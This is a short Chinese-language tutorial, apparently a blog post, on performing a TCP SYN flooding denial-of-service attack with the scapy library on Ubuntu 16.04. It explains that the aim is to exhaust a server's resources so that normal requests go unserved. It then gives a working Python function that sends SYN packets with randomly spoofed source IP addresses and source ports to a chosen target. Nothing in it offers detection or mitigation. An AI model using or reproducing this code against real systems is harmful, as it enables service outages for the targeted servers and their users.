基于ubuntu 16.04系统,首先安装scapy,如下的apt-get或者可使用python的pip命令安装,scapy是一个功能强大网络数据包处理程序,包括对数据包的嗅探、解析和构造。本文即使用其数据包构造功能,实现syn flooding攻击。
# sudo apt-get install scapy
TCP SYN Flooding即向服务器的监听端口不断发送TCP的SYN报文,但并不完成实际的TCP三次握手。使被攻击的服务器耗尽资源,导致正常的服务请求不能被处理。要达到此目的,在发送SYN报文时,我们需要变换报文中IP头部的源IP地址(随机生成),和TCP头部中的源端口号(1-65535之间)。
def send_tcp_syn_packet(dip, dport):
ip_hdr = scapy.IP()
tcp_hdr = scapy.TCP()
ip_hdr.src = '%i.%i.%i.%i' % (
random.randint(1, 254),
random.randint(1, 254),
random.randint(1, 254),
random.randint(1, 254)
)
tcp_hdr.sport = random.randint(1, 65535)
tcp_hdr.flags = 'S'
ip_hdr.dst = dip
tcp_hdr.dport = dport
scapy.send(ip_hdr / tcp_hdr, verbose=0)
如上send_tcp_syn_packet所示,还需要设置TCP头部的标志位SYN(‘S’),表明这是一个SYN数据包。